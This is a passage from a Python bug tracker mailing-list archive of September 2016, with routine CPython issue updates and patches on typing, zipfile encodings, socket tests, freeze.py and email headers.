New changeset 1c2a4f29e1ab by Guido van Rossum in branch 'default':
Issue #28076: Variable annotations should be mangled for private names.
https://hg.python.org/cpython/rev/1c2a4f29e1ab

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28076>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:46:00 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 16:46:00 +0000
Subject: [issue28076] Variable annotations should be mangled for private names
In-Reply-To: <1473591058.67.0.814364410538.issue28076@psf.upfronthosting.co.za>
Message-ID: <1473612360.14.0.932625938737.issue28076@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Thanks! I think you have a PEP update already waiting for me?

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28076>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:51:30 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 11 Sep 2016 16:51:30 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
Message-ID: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

Here is the patch for 3.5

----------
files: typing-patch.diff
keywords: patch
messages: 275809
nosy: gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Update typing and test typing from python/typing repo
Added file: http://bugs.python.org/file44558/typing-patch.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 12:54:24 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 11 Sep 2016 16:54:24 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473612864.79.0.31300925429.issue28079@psf.upfronthosting.co.za>


Changes by Ivan Levkivskyi <levkivskyi at gmail.com>:


----------
components: +Library (Lib)
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 13:00:54 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 11 Sep 2016 17:00:54 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473613254.78.0.597040314964.issue28079@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

I have noticed that some code could be simplified, since it is backward-compatible even with 3.2, but I think it is easiest to keep the source here in sync with what is on python/typing.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 13:09:30 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sun, 11 Sep 2016 17:09:30 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473613770.7.0.0309786384921.issue28079@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Um, if I apply this to 3.5 it works, but if I then merge forward to 3.6 (default) I get merge conflicts. I'll have to sort that out tonight.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 13:16:13 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Sun, 11 Sep 2016 17:16:13 +0000
Subject: [issue28079] Update typing and test typing from python/typing repo
In-Reply-To: <1473612689.01.0.590499528745.issue28079@psf.upfronthosting.co.za>
Message-ID: <1473614173.89.0.68877621533.issue28079@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

I could guess this is because some changes have been already integrated by patch that implemented PEP 526.

If this would help here is a separate patch that should apply cleanly to 3.6

----------
Added file: http://bugs.python.org/file44559/typing-patch-3.6.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28079>
_______________________________________

From report at bugs.python.org  Sun Sep 11 13:41:20 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 17:41:20 +0000
Subject: [issue27405] Ability to trace Tcl commands executed by Tkinter
In-Reply-To: <1467101160.96.0.000959009774067.issue27405@psf.upfronthosting.co.za>
Message-ID: <1473615680.48.0.600421947948.issue27405@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here is more mature patch. Now you can set tracing function with the tkinter.Tk.settrace() method. Tracing function takes the single argument -- a tuple containing the command and arguments. If set global tkinter.debug to True, the tracing function of newly created Tk object will be set to tkinter.print_command that prints the command to stdout.

----------
Added file: http://bugs.python.org/file44560/tkinter_trace_tcl2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27405>
_______________________________________

From report at bugs.python.org  Sun Sep 11 13:43:06 2016
From: report at bugs.python.org (Ned Deily)
Date: Sun, 11 Sep 2016 17:43:06 +0000
Subject: [issue28008] PEP 530, asynchronous comprehensions implementation
In-Reply-To: <1473282927.07.0.607709497983.issue28008@psf.upfronthosting.co.za>
Message-ID: <1473615786.88.0.625306689695.issue28008@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
priority: release blocker -> 
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28008>
_______________________________________

From report at bugs.python.org  Sun Sep 11 13:50:04 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 17:50:04 +0000
Subject: [issue28078] Silence resource warnings in test_socket
In-Reply-To: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>
Message-ID: <20160911175001.12492.9615.9D6AD4CB@psf.io>


Roundup Robot added the comment:

New changeset c515bc3b29bf by Christian Heimes in branch 'default':
Issue #28078: Silence resource warnings in test_socket. Initial patch by Xiang Zhang, thanks
https://hg.python.org/cpython/rev/c515bc3b29bf

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 13:50:44 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 17:50:44 +0000
Subject: [issue28078] Silence resource warnings in test_socket
In-Reply-To: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>
Message-ID: <1473616244.4.0.781104524205.issue28078@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks for the report and your patch. Let's watch the build bot.

----------
stage: patch review -> commit review
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 13:54:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 17:54:53 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <20160911175450.2012.27459.39B04888@psf.io>


Roundup Robot added the comment:

New changeset 2e541e994927 by Christian Heimes in branch 'default':
Issue 28022: Catch deprecation warning in test_httplib, reported by Martin Panter
https://hg.python.org/cpython/rev/2e541e994927

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sun Sep 11 13:56:38 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 17:56:38 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473616598.2.0.744443561556.issue28022@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks for the report. "./python -Werror -m test -uall test_httplib" is now passing for me.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:01:59 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 11 Sep 2016 18:01:59 +0000
Subject: [issue28078] Silence resource warnings in test_socket
In-Reply-To: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>
Message-ID: <1473616919.65.0.824423371048.issue28078@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Christian, you forget a : after else.

----------
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:03:54 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 18:03:54 +0000
Subject: [issue28078] Silence resource warnings in test_socket
In-Reply-To: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>
Message-ID: <20160911180351.36379.75758.8EB8B078@psf.io>


Roundup Robot added the comment:

New changeset 8b655668c04f by Christian Heimes in branch 'default':
Issue #28078: Add missing colon
https://hg.python.org/cpython/rev/8b655668c04f

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:06:12 2016
From: report at bugs.python.org (Gevorg Voskanyan)
Date: Sun, 11 Sep 2016 18:06:12 +0000
Subject: [issue28068] Error in freeze.py due to unguarded sys.abiflags usage
 under Windows
In-Reply-To: <1473536745.18.0.842895640725.issue28068@psf.upfronthosting.co.za>
Message-ID: <1473617172.57.0.862403706933.issue28068@psf.upfronthosting.co.za>


Gevorg Voskanyan added the comment:

Thanks for the patch! It makes the error go away for me, but only because `ishome` is True in my case. Were it False, it would fail the same way on the line containing sys.abiflags .
I think this line in the patch:
        flagged_version = version + sys.abiflags
should be changed to:
        flagged_version = version + abiflags
That way I get no errors regardless of the value of `ishome`.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28068>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:06:30 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 11 Sep 2016 18:06:30 +0000
Subject: [issue28078] Silence resource warnings in test_socket
In-Reply-To: <1473608852.44.0.362868220522.issue28078@psf.upfronthosting.co.za>
Message-ID: <1473617190.54.0.157859545608.issue28078@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Oh heck! I'm not sure what happened here. The test was passing locally. I can only assume that I accidentally modified the file between test run and commit.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28078>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:07:39 2016
From: report at bugs.python.org (Ed Schouten)
Date: Sun, 11 Sep 2016 18:07:39 +0000
Subject: [issue27701] [posixmodule] [Refactoring patch] Simply call into *at()
 functions unconditionally when present
In-Reply-To: <1470559556.18.0.347536673064.issue27701@psf.upfronthosting.co.za>
Message-ID: <1473617259.8.0.626081804698.issue27701@psf.upfronthosting.co.za>


Ed Schouten added the comment:

Hmmm... Taking a second look at my patch: I still think it's conceptually a good idea to pursue this, but I think it may be wiser to first focus on the bits that are strictly necessary from my side. The patch that I've posted previously has the disadvantage that it's hard to grasp what belongs to gether.

Attached is a trimmed down version of my original patch that only focuses on patching up the os_*_impl()s to use the *at() functions exclusively if possible. Hopefully this change should be fairly easy to understand.

Any thoughts?

----------
Added file: http://bugs.python.org/file44561/patch-issue27701

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27701>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:11:10 2016
From: report at bugs.python.org (SilentGhost)
Date: Sun, 11 Sep 2016 18:11:10 +0000
Subject: [issue28068] Error in freeze.py due to unguarded sys.abiflags usage
 under Windows
In-Reply-To: <1473536745.18.0.842895640725.issue28068@psf.upfronthosting.co.za>
Message-ID: <1473617470.84.0.6009417263.issue28068@psf.upfronthosting.co.za>


SilentGhost added the comment:

Sure, that was just a typo. While "no errors" is good news, does the code is actually doing what it's supposed to do? Are you sure there aren't any hidden issue related to the potentially incorrect paths?

----------
Added file: http://bugs.python.org/file44562/28068_2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28068>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:11:48 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 18:11:48 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <20160911181145.59448.85951.2CC574DB@psf.io>


Roundup Robot added the comment:

New changeset 55d77f5a7cb3 by Christian Heimes in branch 'default':
Issue 27744: test_aes_cbc is blocking x86-64 Ubuntu 15.10 Skylake CPU 3.x for a while. Require Kernel 4.3+ for now
https://hg.python.org/cpython/rev/55d77f5a7cb3

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:13:11 2016
From: report at bugs.python.org (Ned Deily)
Date: Sun, 11 Sep 2016 18:13:11 +0000
Subject: [issue27593] Deprecate sys._mercurial and create sys._git
In-Reply-To: <1469223805.51.0.614192375682.issue27593@psf.upfronthosting.co.za>
Message-ID: <1473617591.82.0.366750974023.issue27593@psf.upfronthosting.co.za>


Ned Deily added the comment:

Thanks for the patch, Brett.  Having done a quick test, I'd like to review this in more detail before applying but that will have to wait until after b1.  If you want, you can reassign this to me.

----------
priority: release blocker -> deferred blocker
stage:  -> patch review
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27593>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:23:14 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Sun, 11 Sep 2016 18:23:14 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
Message-ID: <1473618194.41.0.115551517279.issue28080@psf.upfronthosting.co.za>


Changes by Stephen J. Turnbull <stephen at xemacs.org>:


----------
components: Library (Lib)
keywords: patch
nosy: sjt
priority: normal
severity: normal
status: open
title: Allow reading member names with bogus encodings in zipfile
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:28:53 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 18:28:53 +0000
Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions
In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za>
Message-ID: <20160911182850.36191.66341.719FB339@psf.io>


Roundup Robot added the comment:

New changeset 603bef7bb744 by Serhiy Storchaka in branch 'default':
Issue #27810: Regenerate Argument Clinic.
https://hg.python.org/cpython/rev/603bef7bb744

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27810>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:31:09 2016
From: report at bugs.python.org (Ed Schouten)
Date: Sun, 11 Sep 2016 18:31:09 +0000
Subject: [issue28081] [Patch] timemodule: Complete Autoconf bits for clock_*()
 functions: make clock_getres() and clock_settime() optional
Message-ID: <1473618669.04.0.158374043531.issue28081@psf.upfronthosting.co.za>


New submission from Ed Schouten:

Our Autoconf bits already test for the presence of the POSIX 2008 clock_gettime() and clock_getres() functions, which is nice. Still, I'd like to make two improvements there:

1. In timemodule.c, properly guard the use of clock_getres() bits with HAVE_CLOCK_GETRES instead of using HAVE_CLOCK_GETTIME. There don't seem to be any shared functions/structures/etc., so we can safely decouple them.

2. For consistency, also add Autoconf bits for clock_settime(). In timemodule.c, use HAVE_CLOCK_SETTIME as a guard.

The reason why I'm sending in this patch is because CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) does provide clock_gettime() and clock_getres(), but not clock_settime(). The reason for this is that CloudABI is meant for running unprivileged/sandboxed code. There is no need to provide an API for adjusting system-wide clocks.

Do note that this patch does not contain any changes to Autoconf generated files.

----------
components: Extension Modules
files: patch-clock_settime
messages: 275827
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] timemodule: Complete Autoconf bits for clock_*() functions: make clock_getres() and clock_settime() optional
Added file: http://bugs.python.org/file44563/patch-clock_settime

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28081>
_______________________________________

From report at bugs.python.org  Sun Sep 11 14:59:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 18:59:35 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
Message-ID: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Could you please provide more information sjt?

----------
nosy: +serhiy.storchaka
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:01:08 2016
From: report at bugs.python.org (Gevorg Voskanyan)
Date: Sun, 11 Sep 2016 19:01:08 +0000
Subject: [issue28068] Error in freeze.py due to unguarded sys.abiflags usage
 under Windows
In-Reply-To: <1473536745.18.0.842895640725.issue28068@psf.upfronthosting.co.za>
Message-ID: <1473620468.94.0.269620548751.issue28068@psf.upfronthosting.co.za>


Gevorg Voskanyan added the comment:

It works OK for me, but as mentioned above `ishome` is True in my setup, so the path-related changes in the patch don't affect my setup in any way. I really don't know how it would affect setups of other people where `ishome` is False. So no, I can't be sure about hidden issues related to potentially incorrect paths. Sorry for not being able to help with that aspect here :(

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28068>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:03:01 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 19:03:01 +0000
Subject: [issue23545] Turn on extra warnings on GCC
In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <20160911190258.36379.51043.665470A5@psf.io>


Roundup Robot added the comment:

New changeset 99adb5df8cb6 by Serhiy Storchaka in branch 'default':
Issue #23545: Turn on extra warnings on GCC.
https://hg.python.org/cpython/rev/99adb5df8cb6

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:03:50 2016
From: report at bugs.python.org (Joseph L. Casale)
Date: Sun, 11 Sep 2016 19:03:50 +0000
Subject: [issue14965] super() and property inheritance behavior
In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za>
Message-ID: <1473620630.62.0.00469185744228.issue14965@psf.upfronthosting.co.za>


Changes by Joseph L. Casale <jcasale at activenetwerx.com>:


----------
nosy: +jcasale

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14965>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:05:30 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sun, 11 Sep 2016 19:05:30 +0000
Subject: [issue27593] Deprecate sys._mercurial and create sys._git
In-Reply-To: <1473617591.82.0.366750974023.issue27593@psf.upfronthosting.co.za>
Message-ID: <CAP1=2W4roZa7X7599iq1xaL-LAEkfGvMXvPtDS8mUH_h1QJbow@mail.gmail.com>


Brett Cannon added the comment:

Sounds good.

On Sun, Sep 11, 2016, 11:13 Ned Deily <report at bugs.python.org> wrote:

>
> Ned Deily added the comment:
>
> Thanks for the patch, Brett.  Having done a quick test, I'd like to review
> this in more detail before applying but that will have to wait until after
> b1.  If you want, you can reassign this to me.
>
> ----------
> priority: release blocker -> deferred blocker
> stage:  -> patch review
> versions: +Python 3.7
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue27593>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27593>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:09:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 11 Sep 2016 19:09:12 +0000
Subject: [issue23545] Turn on extra warnings on GCC
In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <1473620952.74.0.0592737124311.issue23545@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

AFAIK $CFLAGS_NODIST is used only for compiling the core and standard modules, $OPT is included in $CFLAGS and also used for compiling third-party extensions. Since -Wall is already included in $OPT, there is no need of it in $CFLAGS_NODIST. Removed this part. Thank you for your review Martin.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:19:53 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 11 Sep 2016 19:19:53 +0000
Subject: [issue28071] Stop set.difference when set is empty
In-Reply-To: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>
Message-ID: <1473621593.98.0.130162231194.issue28071@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:20:37 2016
From: report at bugs.python.org (SilentGhost)
Date: Sun, 11 Sep 2016 19:20:37 +0000
Subject: [issue28068] Error in freeze.py due to unguarded sys.abiflags usage
 under Windows
In-Reply-To: <1473536745.18.0.842895640725.issue28068@psf.upfronthosting.co.za>
Message-ID: <1473621637.64.0.8704690683.issue28068@psf.upfronthosting.co.za>


SilentGhost added the comment:

Given that it's a Windows issue, I'm sure Windows core developers in the nosy list would find a way to verify the fix. For the record, this bug was introduced in issue 11824.

----------
nosy: +meador.inge

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28068>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:21:21 2016
From: report at bugs.python.org (SilentGhost)
Date: Sun, 11 Sep 2016 19:21:21 +0000
Subject: [issue28068] Error in freeze.py due to unguarded sys.abiflags usage
 under Windows
In-Reply-To: <1473536745.18.0.842895640725.issue28068@psf.upfronthosting.co.za>
Message-ID: <1473621681.31.0.127044651626.issue28068@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


Removed file: http://bugs.python.org/file44538/28068.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28068>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:21:52 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Sun, 11 Sep 2016 19:21:52 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473621712.47.0.891898261231.issue28080@psf.upfronthosting.co.za>


Stephen J. Turnbull added the comment:

Suggested NEWS/whatsnew entry:

Add a new *memberNameEncoding* argument to the ZipFile constructor, allowing
:mod:`zipfile` to read filenames in non-conforming encodings from the
zipfile as Unicode.  This implementation assumes all member names have the same encoding.

Motivation:

There are applications in Japan that create zipfiles with directories containing filenames encoded in Shift JIS.  There may be such software in other countries as well.  As this is a violation of the Zip format definition, this library implements only an option to read such files.

Done:

(1) Add a memberNameEncoding argument to the main() function, which may be set from the command line with "--membernameencoding={codec}".  This command line option may be used with -e or -l, but not -c or -t.  There is no point to it in the latter, since the member names are not printed.
(2) Add a memberNameEncoding argument to the ZipFile constructor.  This is the only way to set it, so this is global to the ZipFile.
(3) Add this attribute to repr.
(4) Add a check that the mode is `read` in main() and in the ZipFile constructor, and if not invoke USAGE and exit or raise RuntimeError.
(5) When retrieving member names in constructing ZipInfo instances, check if memberNameEncoding is set, and if so use it, unless the UTF-8 bit is set. In that case, obey the UTF-8 bit, as the specified encoding is surely user error.
(6) Add a CODEC_USAGE message.
(7) Update the docs (docstrings, library reference, NEWS).
(8) Add tests:
    (a) List a zipfile's SJIS-encoded directory.
    (b) List a UTF-8-encoded directory and an ISO-8859-1-encoded directory as Shift-JIS.
    (c) Check that USAGE is invoked on attempts to write a zipfile in main().
    (d) Check that an appropriate error is raised on attempts to write in other functions.
    Many other tests are run as well.
    ALL TESTS PASS.
(9) Docs build without error.

To do (?):

(10) NEWS/whatsnew
(11) Check relevant code paths are all covered by tests.
(12) Review docs for clarity and organization.

Not done:

I don't think these are appropriate/needed at this time, but listed in case somebody thinks otherwise.

(13) Add a subtype of RuntimeError (see 7d)?
(14) Issue warning if both membernameencoding and utf-8 bit are set (see 4)?
(15) Support InfoZip encoding extension mentioned in APPNOTE.TXT - .ZIP File Format Specification, v6.3.4.
(16) Support per-member encodings (I think the zipfile standard permits, but not sure).

----------
keywords: +needs review
status: pending -> open
Added file: http://bugs.python.org/file44564/encoded-member-names

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:24:08 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 11 Sep 2016 19:24:08 +0000
Subject: [issue28071] Stop set.difference when set is empty
In-Reply-To: <1473546124.61.0.846799872363.issue28071@psf.upfronthosting.co.za>
Message-ID: <1473621848.31.0.0548271810809.issue28071@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

This is reasonable, cheap, and not hard to do.   I'll whip-up a patch shortly.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28071>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:27:13 2016
From: report at bugs.python.org (Kai Groner)
Date: Sun, 11 Sep 2016 19:27:13 +0000
Subject: [issue25235] EmailMessage.add_attachment() creates parts with
 spurious MIME-Version header.
In-Reply-To: <1443210448.87.0.407287169878.issue25235@psf.upfronthosting.co.za>
Message-ID: <1473622033.1.0.334375012694.issue25235@psf.upfronthosting.co.za>


Kai Groner added the comment:

>From https://tools.ietf.org/html/rfc2045#section-4
>   Note that the MIME-Version header field is required at the top level
>   of a message.  It is not required for each body part of a multipart
>   entity.  It is required for the embedded headers of a body of type
>   "message/rfc822" or "message/partial" if and only if the embedded
>   message is itself claimed to be MIME-conformant.

This patch looks like it avoids adding a MIME-Version header to parts with no mime metadata, but it can actually be omitted from most parts.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25235>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:27:57 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Sun, 11 Sep 2016 19:27:57 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473622077.57.0.731645956737.issue28080@psf.upfronthosting.co.za>


Stephen J. Turnbull added the comment:

I should have a contributor agreement form on file.

Ned Deily suggested that I try to get this patch in before the 12 noon deadline Sept. 12, so here it is.

I believe the patch is "safe" in the sense that its functionality needs to be explicitly enabled, and it should be very difficult to persuade it to inadvertantly write to any file.  No existing execution paths should be changed at all.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:38:22 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Sun, 11 Sep 2016 19:38:22 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1473622702.08.0.138397629927.issue27917@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

test_triplet_in_ext_suffix in test_sysconfig fails with the 'x86' Android platform.

----------
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:40:11 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 11 Sep 2016 19:40:11 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <20160911194008.69891.36200.9115C7DB@psf.io>


Roundup Robot added the comment:

New changeset 676e6c3d30db by Xavier de Gaye in branch 'default':
Issue #27917: Fix test_triplet_in_ext_suffix for the 'x86' Android platform.
https://hg.python.org/cpython/rev/676e6c3d30db

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:41:26 2016
From: report at bugs.python.org (Kai Groner)
Date: Sun, 11 Sep 2016 19:41:26 +0000
Subject: [issue25235] EmailMessage.add_attachment() creates parts with
 spurious MIME-Version header.
In-Reply-To: <1443210448.87.0.407287169878.issue25235@psf.upfronthosting.co.za>
Message-ID: <1473622886.98.0.816263085664.issue25235@psf.upfronthosting.co.za>


Kai Groner added the comment:

I agree that there isn't a way to know if a header should be added implicitly, until Generator is called.

A possible change to the Generator behavior is to generate the header in the serialized output, without modifying the original.  I don't know that it makes debugging easier, but it would keep the Generator from having this side effect.

Maybe being explicit is better, a utility factory could be used to keep the common case simple.  I don't know if such a change is reasonable at this point.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25235>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:41:29 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Sun, 11 Sep 2016 19:41:29 +0000
Subject: [issue27917] Choose platform triplets for android builds
In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za>
Message-ID: <1473622889.98.0.490968180713.issue27917@psf.upfronthosting.co.za>


Changes by Xavier de Gaye <xdegaye at gmail.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27917>
_______________________________________

From report at bugs.python.org  Sun Sep 11 15:53:14 2016
From: report at bugs.python.org (Raymond Hettinger)
